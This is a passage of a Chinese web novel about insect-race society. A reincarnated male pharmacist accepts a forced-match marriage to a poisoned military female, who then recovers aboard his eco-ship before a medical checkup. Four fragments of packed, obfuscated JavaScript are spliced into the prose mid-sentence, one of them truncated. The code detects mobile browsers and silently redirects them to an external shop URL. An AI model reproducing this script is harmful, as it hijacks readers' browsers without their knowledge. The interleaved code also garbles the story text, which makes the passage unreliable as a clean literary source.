不过,一方面这两个问题对他来说也只是困扰并不是非要解决,另一方面他暂时也没什么解决办法,所以前者慢慢研究,后者也是仗着自己权限高就让档案压在了强制匹配库里,有缘再说。 而果不其然,前者暂且不提,后者拖到现在,终于祸到临头——强制匹配制度给他发老婆了。 谁知道他研究进行到一半,突然被从实验室拉出来,说“研究什么的先等一等,联邦给你发老婆啦”是个什么样奇怪的感觉。 虽然知道主脑进行的匹配根本就没办法偷偷摸摸黑幕,但是他严重怀疑这是那些觊觎自己基因的虫的计谋,试图用这种法子让他延续后代。 怎么,宝石种天枢裔不能靠基因传承但是药剂师天赋有可能是吧? ……这么看前世的雌虫身份也还是有好处的,起码雌虫高层也不是无法理解雌雄之间可能出现的矛盾以及个体差异,加上本来雌雄数量比就悬殊,雌虫没有提交匹配申请绝不可能被分配雄虫、即使被雄虫看上了也有拒绝的权力,反正不至于突然长出个配偶。 这辈子倒也不是没有雄虫高层、重点是存在雄虫天枢裔,不然雄虫也很难拥有切实的地位。 但上位者即使为自己的性别、天然站在自己这边的阵营考虑,但在种族延续面前还是要靠后站的,雄虫太少实在不能浪费、强制匹配这种平衡两性、一定程度上缓和两性矛盾的手段不能轻易取消,再进一步就是没有雄虫会想到哪个同类居然这么抗拒结婚…… 还是那句话,结婚对雌虫来说需要慎重再慎重,对于雄虫来说却是件成本很低的事情。 结了就结了,就算婚后完全不管雌君导致对方死亡,只要情节不严重也基本不会有虫管。 婚姻对他们来说和白送财产也没什么区别,也就是面对强制匹配的军雌需要演一段时间、乃至进一步进行精神疏导以避免麻烦,有些雄虫还会觉得面对要面对自己厌恶的虫很委屈自己一类,一般虫都能接受、甚至算不上代价的“代价”。 这些本质上都是为了降低雄虫的婚姻成本,提高他们的结婚意愿——生不生虫崽另说,哪怕只是结个婚给雌虫提供一下精神安抚呢? 稀缺资源当然是需要尽量利用起来的,虫族发展到现在,已经学会了如何将这种本质残酷的利用柔化、被被利用者能够轻易将其接受。 总之,在联邦政策的调节下,雄虫结婚的成本很低,风险也小得可怜,这让雄虫对婚姻的接受能力强了很多,起码减少了他们的抵触心理。 所以就连西尔万也能很快接受这个事实——或者说早已做好了准备。 以这个婚姻制度对他现在这个雄虫身份的限制强度来看,这也确实没到他要像前世反抗自己的种族特性、雌虫缺陷一样强烈反抗的程度,他的坚持本来也不在这个方向。 不过严格来说,西尔万是出于虫道主义精神收下的这只雌虫。 如果艾利安的情况没有那么严重、于他而言不是必须的话,西尔万其实也懒得去适应一个新的虫加入到自己的生活中—— 只是因为自己对艾利安来说或者是唯一的希望,所以他便也伸出了手——总不能真的让他去死。 对于西尔万来说,他会欣然接受自己这辈子的雄虫身份、利用那些他自觉完全配得上的特权,却倒也不至于对那些正在努力挣扎的雌虫落井下石,在合适的时候帮一把是非常正常的。 艾利安这个情况,真的只有在西尔万身边能看到一线生机,换到其他雄虫最多也就是拖个一年,而且这个一年也会非常痛苦、在艾利安自己看来可能还不如直接就这么死了。 不过除了虫道主义精神、对方的特殊身份以及身上极有研究价值的毒素以外,最后让他选择亲自和对方进行沟通交流而不是直接交给智能处理的,却还是因为对方身上那似曾相识的气息。 从痛苦中淬炼出来的沧桑厚重,勉强撑着早已残破的傲骨,连自己都不知道瞳中的光早已摇摇欲坠,只是仍不愿意倒下、仍在等一个自己也知道不会到来的希望。 美丽的、闪闪发光却又破碎的光辉。 这个世界上有自己这样的转生者,又为什么不会出现重生者? 艾利安的模样,确实像是尽力过某种苦难之后又不得已重返此间的灵魂。 把他身上那种微妙的熟悉感和自己的记忆联系上之后,西尔万自然联想起了自己第一次转世时看过的那些虫族小说—— 雄尊雌卑的扭曲世界中,总有某个穿越的正常男性雄虫偶遇一只饱受“正常雄虫”虐待的雌虫,然后凭借着自己从曾经健全社会中塑造出来的三观将他治愈、成为一对神仙眷侣。 西尔万揣度一番自己的身份和对方的处境,好笑地发现自己居然担任了那么多故事里主角攻的角色。 按照一般套路,西尔万应当以他本来只是正常、但在虫族社会中简直会令雌虫惊为天虫的思想认知治愈他虫——而面前这位,就是命运送给他的爱人。 ……嗯,爱虫也可以,现在这个社会文化层面是“人”“虫”混用的来着,“虫”用得比较多,但是某些特殊词汇还是会用“人”,反正西尔万本人更习惯“人”,在经历了前世之后他对“虫”这个身份的认同度可能还没有对自己可雌可雄的性别高。 总之,爱人——或者前生经历过雄虫的伤害,或者只是单纯地因为某些经历对雄虫心灰意冷,总之遍体鳞伤的军雌来到了他身边,气息奄奄地等待着某只虫对他伸出手。 可惜那不知是否存在的命运似乎没有发现西尔万他还有一个雌虫的前世,更是没有注意到他尚未二次分化、在普世意义上成年的现实。 真要把话说糙点,结合前世记忆和今生二次分化的身体状态,他有没有那个当攻的能力都是个问题,更别说给一只雌虫幸福了—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990946|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >即使是双向救赎的戏码,也要考虑一下他是否乐意去救赎一只虫、又是不是需要某种安抚吧? 而最可笑的也是这一点,在这个扭曲的社会中,遇到这样的他对雌虫来说就已经足够幸运了。 真要说这个,他反倒觉得是上上辈子那个虫族社会更符合那些小说里的设定、也更容易发展剧情。 那样纯粹社会中养出来的雄虫只是骄纵恶毒、容易反衬出正常的主角的美好,所造成的伤害也相对更轻一点。 ——在生活中没有其他事物、没有接触过真正权力、也没有面对过各种各样的精神折磨的情况下,对雌虫的恶意再深刻也有限,属于正常情况下能治愈的范畴。 但这辈子这个世界,权力以及被赋予的权利会培养出更艳丽也更剧毒的花,现在处于微妙中间值的雄虫情况更是复杂、扭曲……而剧毒。 西尔万所接触过的那些真正意义上顶级的雄虫,是能完全做到把雌虫当成玩物这样的事情的,而精神层面的折磨往往比肉-体上的玩弄更能摧毁一只雌虫。 不过不知道是不是西尔万的穿越带来的蝴蝶效应,他很少见到有雄虫会做出这样的事情—— 这个起码整体向上的世界中,确实有虫以此为乐,可大多数能有这个能力的虫精力基本上花在了一些正向的争权夺利、开拓星球之类的事情上,不玩。 言归正传。 虽然想得很多、似乎过于严肃,可其实西尔万只是因为这过分富有既视感的场景和人物关系生出了些许联想而已。 即使事情真的是他闲得无聊想的那样、有什么存在在推动着故事的发生,却也是用着合乎逻辑的手段,反正没有什么“剧情力量”来干涉他的决定,他只会遵从自己的意志行事。 强制匹配本来也是少数事件,他们的相遇完全属于意外,总不可能还有什么特殊因素能够推动“剧情”的发展。 ……虽然现在这个场面真的和那些故事里主角攻处于种种原因以及好心收下莫名和自己结婚的雌虫的情况对上了……不是吧,主角攻竟是我自己?难不成我真的有自己的节奏? 这种奇妙的、甚至像是“重蹈覆辙”的感受让西尔万有点冷汗了,他默默点了一根烟,开始思考未来。 他倒是不会因为这么点既视感非得拧巴一下、去像其他雄虫一样冷酷对待雌虫——他只是成了雄虫,但并不会因此背叛过去身为雌虫的自己—— 甚至也不介意事情真的往那个方向发展,只是单纯地觉得这种事情不会发生在自己身上而已。 难以想象是真的难以想象,起码现在的他想着这种可能性就感觉应该是有剧情之类的神秘力量对他下手了,不然他怎么可能去爱上除自己以外的其他存在? 哪怕是前世的亲人,对他来说也只是理所当然的“我会对你好”的亲情,最后的死别纵然遗憾不舍,却还是能够放下。 没有什么存在是一定要和他在一起的,没有什么存在是一定会和他在一起的。 不过感情的事情他现在在这儿思考也没什么用,未来的事情在尚未发生之前都不曾有定数,他只要继续按着自己的想法、自己的本心走下去就可以了。 他总归是自由的。 西尔万摁灭手中的烟头,看着青褐色的香料融化在泥土中,很快定下心来,呼出自己的个人终端开始忙碌。 家里多了一只雌虫之后很多事情都要进行调整,生活购物方面他的智能灵枢已经在做出调整了,手头的项目不可能直接中断,要结合艾利安的情况重新调整接下来的研究计划。 另外自己结婚的消息估计也已经传出,艾利安本身能真正到达自己的星球这件事情就多少有些特殊,还需要和那边进行一些沟通…… 面板幽光明灭,倒映出青年清隽的眉眼和专注的神情。 8. 星球 第八章 从那天对方离开之后,整整一个月,艾利安甚至没有在这里见到过包括西尔万在内任何一只虫的身影。 但艾利安的生活并没有因为只有自己一只虫存在而变得痛苦——虫族从来不是什么高社交需求的生物,艾利安更不是那些有相关需求的特例。 他在这里生活得很好——起码在他看来是这样的。 这颗星球是安静的但不是死寂的,他的雄虫阁下并不在意自己星球上多出一只虫,全程都有且只有那名为塞安(Cyan)的智能引导他、让他得以大概了解了这颗星球的基本信息。 这是一颗在他到来之前只供养了西尔万一只智慧生物的全自动化的自然侧原生态资源小行星,被命名为“阿利斯泰尔(Alistair)”。 非常符合他如今雄主阁下翡翠种、药剂师定位地种满了各种各样的植物,在虫族星际现代的特殊环境下,绿化程度在所有星球中都位于前列。 常用的药物在虫造基地内被大量种植、培养,而保持着原生态的地域则是用来保证一些娇贵的、需要特殊环境的植物的生长,这些都是给药剂师准备的资源。 而除了散布在整个星球各个合适地区、完全由智能机器控制的种植基地以外,这个星球最大的虫造物就是他现在所在的地方——一艘巨大的、宏伟的生态舰船。 虽然暂时坐落在陆地上,但是这确实是一艘完整的、能进行跨星系航行、拥有独立生态系统完美实现自给自足、体量以亿吨计的生态舰船。 处于目前虫族技术顶峰的方舟级别舰船即使并非战舰,也同样是以艾利安曾经的等级都无法以独立虫族身份持有的重器,却竟然出现在了这样一位自己甚至都不曾听闻过姓名的雄虫手中。 因为一路没有接触到其他智能生命体而忍不住泛起的疑问被瞬间压下,他几乎已经确定西尔万的特殊身份了—— 同时,他有切实领会到了之前雄虫对他说的,“使用起来很麻烦”,怀疑乃至肯定联邦是专门为西尔万开了一条物流线。 本就谨慎的艾利安在意识到这一点之后就没有从外购买过用品,反正他对生活品质本来就没什么需求,舰船拥有的技术完全能为他提供基本生活用品,哪怕慢了一点,生活条件也没有差到他一个军雌都无法接受的程度。 他非常清楚自己这种行为的必要性。 既然西尔万能独立持有一艘完整的生态舰船,那么也绝对值得一条独立的物流线,从外购买的所有东西都会引起重视,会有虫尝试从中获取更多的信息。 所以……真的是天枢裔,是吗? 看完了所有“应该被自己知道的”信息,艾利安山称得上是顺理成章得在里面找到了关于这位已经成为了自己雄子阁下的天枢裔的叙述。 药师,翡翠种,药剂师协会的创始虫,极光议会成员,并没有对外暴露更多情报,但确实是现今所有天枢裔中声望最高的一位。 先不说在成为天枢裔之后居然还有虫没有结婚、偏偏年龄上还确实符合事实……艾利安简直要为这个事实悚然了。 他无法想象自己之前在这样一位面前都说了些什么,在全然陌生、第一次见面的情况下,他之前那样的言行不管是得到什么样的待遇都是正常的…… 虫族内部竟然不清楚一位天枢裔的名号,那简直是可以被判定为叛族者的程度,连他自己都不清楚,西尔万之前在听到自己表达出来的不了解、完全陌生时,心中想的到底是什么。 可在另一个层面上,这反倒令他松了口气。因为起码这些信息都证明了西尔万之前并没有骗他。 对于一位站在整个虫族数以亿万计成员构成的金字塔顶端的天枢裔来说,一个自己确实是无关紧要的,自己对他最大的价值也只是身上的毒素。 ……或者也勉强有些利益交换的味道? 其实并不是真正有必要去接受这个交换,只是西尔万可能根本就懒得再去处理后面的麻烦,不接受所要处理的事情比接受实在要多太多了。 更进一步说,这场婚姻背后也有某种东西让西尔万在最开始选择思考接受、所以才会有后面发生的一切。 ——在真正和星主建立婚姻关系之前,他本来是定然无法进入这种保密程度的私虫星球、甚至根本就不应该来到一位天枢裔的面前的。 起码在把他送过来这一步上,一定是有虫插爪了。能够干涉一位天枢裔决定的,定然也是一位天枢裔。 所以会是谁呢?有一个名字在意识到这一点的时候就缓缓从他心中浮现,却到底没有成为一个肯定的答案。 这个世界和他前生所了解的那个世界有着失之毫厘谬之千里的差异,他甚至发现自己的处境没有想象中那样的绝望无光,即使脱离了雄子也有着生路——哪怕这条生路所指向的并不是“生命”的生。 但也正因此,前世的某些信息在此失去了可信性,让他为之犹疑不定,甚至在这样这个相对温和的环境中也没有联系过外界。 就像他到现在也没有深入了解过这艘与智能同名的舰船一样。 其实据智能塞安所言,不管是因为不在意还是既定的雌虫应该拥有的东西,西尔万确实为他开放了这里大多数地方的权限,他能知道的或者比其他更早认识西尔万的虫还要多。 但在这样的舰船上,主虫开放的信息不一定就是他能知道的,毕竟西尔万本虫都不一定能厘清自己手中的珍宝有多少。 就算对方真的明白也不在意,可这也到底不是艾利安主动去探究对方秘密的理由——既然自己无法信任对方、却又不是站在什么对立面,那就不要做利用对方信任的事情。 尤其是在对这个世界的了解还不够深入的情况下,他甚至没有办法确定自己了解到的哪些信息是不该被了解的……两个世界的记忆认知冲突,艾利安不知道自己会不会在不知道的时候被利用。 不过在做出这样的选择的时候,他更多的其实只是不想损害对方的利益。 或者他所经历的还是太少了吧。艾利安有时候也会自嘲地想。居然还坚持着这无关紧要的“原则”。 他意识到了自己和这里的格格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990947|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不入,但现在的他能做只有接受这一点。 而值得庆幸的是,在这孤寂寂静的、只有他一只虫在其中行走的船上,这其实并不是很难做到的事情——或者和他本来也没有多少心力可以耗费在这种细微的心绪上有关吧。 具体的内容无法确定,可就像星球本身的职能一样,这艘舰船的核心还是非常明显的。 塞安号的大多数资源都倾注在种植、药物处理以及研发上,直白点说,这一整艘舰船都是环绕着西尔万的药剂师身份设计、建造、运行的,可谓是量身定制。 塞安的核心便是西尔万,这位他不曾听过名字的雄虫,作为药剂师的名号可以说已经响彻了整个虫族——只有他这个还停留在前世的虫在之前甚至没有意识到而已。 因为对方的慷慨,这些浅层信息的获取并没有耗费艾利安太大力气。 塞安号上度过的这段时间,对他来说是前所未有的轻松。 智能塞安的智能程度其实并没有达到联邦顶级水准,但在医药以及本职的舰船控制、内部生态系统调配等方面却迭代得极成熟。 艾利安伤势严重的身体每天需要进入治疗舱,而塞安会每天为他准备好治疗所需的药剂(可能背后还有西尔万?)、定时提醒并辅助他进行治疗。 艾利安其实并没有那么在意自己的身体,却也没到要刻意伤害自己的程度。 更重要的是西尔万之前已经给出了明确的要求,他自然要接受这个命令。 确实只是治疗,并不舒适,但从来不是折磨。 躺在机器里,密闭、只有自己存在的空间能够产生某种莫名的安全感。 伤口传来的愈合时的痒麻在某个瞬间甚至能盖过那种尖锐的、纯粹的、源源不断的痛苦。 寂静而静谧的黑暗中他闭上眼,像是经历了一场安眠,又或者重生。 而除了必须进行的治疗以外,智能程度似乎不高的智能不曾干涉过他除治疗外的行为、只是会在他进行一些可能损伤身体的事情时发出提醒,甚至都不会强行阻止。 这令雌虫得到了一种令他心生安全感的、限度以内的自由。 当规律稳定到了一定程度的时候,连约束也会令他感到平和。 充分的睡眠,规律的生活,完全由自己来主导的治疗,空气中弥漫着草药的气味,大量可供阅读的纸质书籍,宁和生长的草木,空旷的巨大空间。 安谧到几乎令虫感到孤独的世界。 在短暂属于自己的房间里,柔软的靠枕,包裹妥当的伤口,起码在这一刻完全属于自己的衣物。好像不会出现什么东西突然打破这里的“壳”,陌生到令他错觉是幻梦的“安全”。 艾利安翻阅着塞安号上的书籍,感知到一种短暂且漫长的空寂。 这个只有一只虫的世界荒芜得仿佛如同他的心灵,呼吸和心跳被血肉包裹,能够听到胸腔或者灵魂里荡出的空灵回音,恍惚像是进行了某种自我疗愈。 即使身体和精神海的痛楚从未有一刻停息,但一直被悲伤和阴影所侵扰着的心却是和缓的。 9. 思量 第九章 “看起来效果不错。”西尔万对着艾利安最新版的身体数据做出评价。 他之前没怎么接触过这类病人/病虫——或者说作为药师而非医师,非常尊重自己的职业他其实基本上不会去主动接触病患,最多也就是看各种身体资料、病灶样本,然后研究对应的药物。 研发出药物药剂后针对特定疾病、毒素以及其他症状的临床实验,和真正对症的治疗是两回事情。 但要说他完全不会看病那倒也不至于,前世的家庭背景可谓是医药传家,即使西尔万最后走了药师的方向,在启蒙的时候还是有学习一些“基础技能”的。 一般小病完全没问题,大病……就只能上大药了。 嗯,对症下药是有的,但到底有多对症或者需要打个问号,可以理解为他真的很难诊断具体的病情,他只会在确定情况下匹配、核定对应的处方…… 医学和药学复杂程度不相伯仲、共轭父子。 在三个世界人体/虫体天差地别、不同世界间连物种都只有少量重合的情况下,西尔万能坚持继续学药已经非常有信念感了,是天打雷劈三辈子的程度。 可再天才再有信念感,做这种天坑专业也是要啃大量资料了解大量新信息的、跟进行业发展。 而西尔万本身没有兴趣能力也不往医学方向发展开发,要他去研究同为天坑医学是真的不行,没时间没精力没兴趣。 所幸这个世界经常出现的“病”正属于药剂能解决的范畴,攻克各种各样的毒素对于他来说完全属于老本行,连带着艾利安的情况也能和他过往的课题划上等号。 加上一些奇奇怪怪的经验,倒也能给出一些调理艾利安现在情况的方案。 不过毒素再怎么难解,对于西尔万来说也不能算是艾利安身上最难处理的问题。 主要的……可能是精神力和精神层面的问题? 艾利安的精神情况实在不能算好,又毕竟是现在这种会被西尔万在意的情况,免不了要多考虑一些。 这段时间的宁和、几乎不被任何东西干涉的平静除了西尔万确实没有空以外,也是为了能让他的精神得到一定的修养。 现在看来,结果还算不错。 屏幕上有字迹浮现:【艾利安先生的数据曲线整体向上。】 西尔万不喜欢直接听到数据、有需要会直接在文本上找,所以塞安在和他交流时也会减少具体数据的使用,采用一些模糊概括性语句。 这其实并不是个好习惯,并不慎重的言语往往会导致理解模糊、甚至都不符合智能的内嵌规则,但智能管家当然会选择纵容所有者。 【显然,除了治疗舱的治疗以外,精神状态的好转对他的伤势也产生了正面影响。】 “毕竟他精神海的情况也很差。” 西尔万找了找精神海成影的图像——虫族现在的技术勉强只能做到模糊观测,但是这对他来说也够了——目前精神海的表征现在其实没那么值得在意,重点在他身上那些诱发、乃至进一步加重他精神力问题的东西。 “本虫情绪对精神海的影响是很大的……” 虫族中雌虫的精神力会日渐紊乱、乃至在到临界点后发生崩溃,这一点和雄虫的肉-体问题一样,属于天生的种族或者说基因缺陷,没有根治的办法乃至方向。 而精神力的紊乱除了会随着年岁增长精神力使用越发严重以外,最明显的影响因素就是个虫的情绪以及精神压力了。 从数据结论上说,结婚的雌虫平均寿命其实和未结婚的所差不多: 雄虫的精神抚慰只能疏导紊乱的精神力,却无法阻止精神力再次紊乱、甚至往往会因为婚后经历带来的精神压力引发更严重的精神海问题。 健康到紊乱到暴动再到崩溃,精神力状态间的递进关系若是没有发生重大变故都是循序渐进的,雌虫的精神力状态往往是一条抛物线。 但他们的雄虫会成为那个“重大变故”。 如果之前艾利安匹配的时候碰上个对军雌或者艾利安这类虫的感官稍微负面点的雄虫的话,即使身体方面能靠雌虫的先天优势撑下来,精神和精神海崩溃也只是最多一两年的事情,这还是在排除他原有的精神海伤势的前提下。 ——就像雄虫几乎不会出现因精神力方面问题而死的事情一样(虽然也有心理疾病),大多数雌虫都是精神死在肉-体之前。 不过在遇到西尔万之后,艾利安怎么说也不至于落到那个地步。 先不说西尔万根本不会主动去伤害雌虫,在阿利斯泰尔星上并不曾遭遇星主恶意地活着,这对他来说就已经是一种极好的情景了。 西尔万本虫对生活品质多少有点要求、并提供了品质极高的药剂以及治疗舱,艾利安现在这个情况也不可能有什么任务还要交给他、形成身体和精神的压力,总之,有治疗无外界压力。 总体来说,阿利斯泰尔星给艾利安提供了一个非常好的疗愈环境,这也是他能在如此重伤且深受毒素侵蚀的情况下保持一个不错的恢复状态的原因。 伤口的状态维持乃至逐渐好转主要靠治疗舱以及生活健康,但精神在如此痛苦的折磨下还没有明显恶化,就是靠本虫的坚韧和良好的心态了。 不过介于之前那个奇妙但差不离的猜测,西尔万反倒觉得他这种心态不止是良好…… 【但是艾利安先生的恢复状态已经趋于平缓。】毒素还没有解开,精神海的伤势也不可能自愈,他已经恢复到了现在这个状态的极限。 【阁下还没有给出下一阶段的治疗方案。】 “这其实也不能算是治疗方案吧,解毒的流程一直都是很清晰的。”西尔万简单划了几个指标让塞安之后注意,“毕竟实在有点忙,他也确实需要一段时间沉淀。” 不管艾利安到底经历了什么,这样的虫生剧变总是需要一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990948|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间去接受和思考的。 毕竟他接下来所要面对的,不只是他现在所接触到的那些平静,还有身体的毒素,精神海的崩溃,已经完全割裂开来的过去和未来。 前途未卜的同时,似乎还有更多难以接受、出乎意料的的东西。 死亡何尝不能算是种解放?即使西尔万从来不会选择用这种懦弱的方式逃脱难以直面的现实,但他一直都能够接受某些人或者虫以这种方式结束自己的痛苦。 ——你想结束的一直都是痛苦而非生命对吗?* “不过一个多月了,也差不多了。” 虫族尤其是军雌的生活似乎还保持着一些短寿虫类的特性,非常快节奏,在战争的压力下连婚假都只有三个月(普通雌虫是一年),调节自己状态的效率也非常高。 一个月的时间让艾利安直面自己的虫生、融入塞安号的环境已经是绰绰有余,可如果本该发生的变化却一直没有发生,军雌反倒可能会在这种等待中重新开始焦虑。 让他一直过这种生活、余生便这样结束或者他都可以接受,可是西尔万还说过会研究他身上的毒素。 既然还有未完之事,所以在平静之后,就只会希望那一天快点到来、最好也能快点结束。 不管最后的结果是什么,他都已经做好了接受的准备。 ……当然更重要的是西尔万手头上的要紧事总算处理得差不多、能回过头关心一下这个非常需要自己的病患了。 该说不说,其中的大多数变化还是艾利安本虫带来的呢。 “再拖下去,稳定下来的毒素会发生什么新的异变也说不定。” 塞安:【好的,已开始为您准备研究器械。】 研究而非治疗,作为西尔万药物研究开发助手以及管家研发出来的塞安默认所有存在最优先的身份都是西尔万的实验体、药剂配置材料和药物研发素材。 艾利安在它的数据库内和那些被精心照顾着的草药也没什么区别。 虽然对方真的拥有主观能动性、会做一些对身体不好的事情实在有点麻烦,但也没有那些在阿利斯泰尔星上恣意生长的动物难管。 更不要说对智能来说本来也只是任务,某些已经被刻进程序里的东西在某种程度上比虫族的思想还要顽固。 另外,西尔万确实拥有免申请进行一定限度虫体实验的权限。 实际上他甚至是联邦内部唯一一个拥有这种权限的虫,即使其他天枢裔也无法拥有这种程度的特权,只是过着几乎与世隔绝生活的药师基本没有使用过而已。 “不,先给他发个消息让他准备一下。” 眉眼间带着些许疲倦,西尔万拨弄一下一旁的盆栽,“明天或者后天,刚好做个更精细的身体检查。研究的话,现在还是算了。” 今天感觉不太合适。体温有点…… 【是。】塞安开始重新排列器械,【已开始计划……】 10. 取血 第十章 “……身体检查和……进一步治疗?” 低哑磁性的声音从艾利安口中传出,蜘蛛低垂着眼,确定般地重复自己刚刚得到的信息,并没有多少情绪,再单纯不过的核实。 【是的。】 雌虫的个人终端上,塞安输出文字代替言语,死板纯黑的文字缓慢浮现时带着莫名的压迫感。 但那种平和的、带着某种极其契合规律的速度却又让虫被自然拉入它的节奏——某种利于虫族摄取信息的特殊频率,倒也符合它作为智能的“习惯”。 【你的身体和精神都已经恢复到了当前状态下可以达到的极限,阁下需要做检查了解你的情况以安排接下来的工作。】 安排接下来的“工作”。 实在是直白而残忍的表述——谁的工作?什么工作?——是西尔万即将在他身上进行的“工作”吗? 但这是本来就说好了要付出的代价。难道单纯的、肉-体上的痛苦对他来说会是什么难以接受的事情吗?从来不是。在这个月里,他已经做好了充足的精神准备。 ……不会有什么比过去更痛苦。 艾利安轻而缓地眨眼,血红色的拟态虹膜在暖色的灯光下显出一种奇特的、丝绒材质般的柔软质感,并不符合虫类应有的阴冷质感,却又与他绮丽过分、甚至可以形容为妖艳的容颜相称。 他给出的回应堪称温驯:“好,需要我准备什么吗?” 【……】 到目前居然完全没有这种经历和历史记录,塞安开始紧急翻找体检前注意事项,再结合一下之后可能出现的项目,倒也给出了智脑应有的响应速度。 【二十四小时内空腹,不要进行剧烈运动,不要使用精神力,塞安会为你准备治疗时的衣物——另,今明两天的治疗项目暂时取消,后续等阁下的治疗方案。】 “好。”雌虫只是道,平和并无攻击性,似乎早就已经习惯了处于接受命令顺从命令的状态,并不觉得自己有提出意见的能力又或者权力。 和那份资料中沉静却又一切尽在把握之中的样子几乎是背道而驰。 只不过塞安显然不会意识到这一点,毕竟它不在意所有者以外任何虫。 这位智能只是更新了一下关于这只虫的数据,方便后续对其进行照料——当然,如果未来西尔万需要的话,这一份资料也会为它的所有者所用。 现在更重要的……应该还是体检的前期准备? 第二天晚上,艾利安收到了体检用的服装。 上下两件浅绿色没有任何特殊功能的崭新衣物异常宽松、毫无版型可言,其实更类似艾利安依稀有点印象的病号服。 他怀疑这是昨天塞安紧急赶造出来的。 ……回忆一下自己刚来时穿的甚至是西尔万本虫艰难找出的衣服,这估计才是真相。 离开这段时间对所处地的了解,也不知道是西尔万不在意还是什么其他原因,塞安号上的日用品产线效率实在不高。 供养西尔万一个绝对够用、还囤积了不少可以用来应急,只是遇到什么这种突然需要生产其他型号衣物的情况就会有些运转不过来—— 可以说相关的设备一开始就没有准备生产其他型号的衣服,完全忽略了西尔万未来可能会拥有的雌君乃至孩子。 这种几乎不带有任何调节空间的设计显然是出于西尔万自己的意愿,他显然没想要再接纳其他存在进入这个空间。 偏偏就出了艾利安这样的意外。 在他出现之后,塞安磨磨蹭蹭用了两天才制造出他的衣服,甚至还是艾利安不想继续蹭西尔万的衣服穿、自己负责了一部分流程才让他有了可以换的衣服。 由此可见塞安号的容差率之低。 当然,也可能是给他准备日用品的优先级不高,并不足以让本来就为了西尔万而存在的塞安为此调用本该供给西尔万的资源……在这种情况下,慢一点也是理所应当。 反正西尔万拿出来的衣服已经完全交给了艾利安,反正艾利安也做不到再去麻烦西尔万了,那稍微延后一下新衣服的制造似乎也不是什么大问题。 ——智能并不是就是完全公正的,实际上,正是因为它们完全按照程序写入的规则运行,那种偏移、“偏心”才会越发显著。 写在代码底层的优先级是不可违逆、绝对成立的,这才是发展并不成熟的智能到现在依旧应用于各个机要场景的根本原因。 不管中间有着多少弯弯绕绕,艾利安总算还是换下了那两套来自西尔万的衣服。 此刻心中的胡思乱想并没有影响艾利安的脚步,他在塞安的指引下走进一间陌生的房间——时隔一个月之后,终于和他的雄主阁下再次见面。 “你来了。”站在巨大仪器前的青年转过身来看向他,神色有些疲倦的样子,看着他的眼神却平静得过分。 有点像艾利安以前接触过的军医,大多数很暴躁,但也有那么一些已经过了暴躁的劲、只是很累但还有兵要抢救,手下正压着一个、又看到新伤患被抬进来的时候大概就是这个样子。 看起来还活着,但还不如死了。 ……所以对方好像是真的很忙,一副已经累得没什么情绪波动的样子。 明明上次还没有这么严重的,是自己给对方带去了麻烦吗?雌虫简直条件反射地开始检讨自己,除了衣服以外还有更多麻烦的事情,自己毕竟是只废虫、偏偏还有着过分麻烦的背景,即使是天枢裔要保证自己在军部的位置也不是什么简单的事情…… 于是他理所当然地发现这个想法其实也没有错,自己确实给对方带来了很大的麻烦。 只是以对方的身份地位,实在用不着自己来担心……不,对对方来说无所谓,从来不是自己可以忽略那些东西的理由。 有幽微的火焰在心中燃烧起来,明明几乎没有温度,却像是要把自己吞噬殆尽。甚至已经显得有些陌生的愧疚和羞耻。 明明是唯一一个帮助了自己的存在、可自己给他带去的却只有麻烦。 熟悉的、夹杂着痛苦的寒冷从足底蔓延开来,也像是阴火在这一刻被点燃,他几乎费尽了全身的力气才没有在对方面前失控,这惨败无用的肢体。 不要在自己的恩虫面前露出那样不堪的模样。艾利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990949|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安只是想。但其实连自己都不知道这古井无波的表面到底还能维系多久。 “雄主阁下。”艾利安恭敬行礼。 “嗯。”西尔万应了一声,上下端详他一番,似乎是没挑出什么毛病,也懒得再多说什么、直接进入正题,“先采个血。” 这种直白的交流方式让艾利安感到了某种近乎亲切的熟悉感,过度直白的表达反倒是他更能能够习惯的、甚至在另一个层面上微妙地稳定了他动摇的精神。 是的。他想。我需要明确的指令。 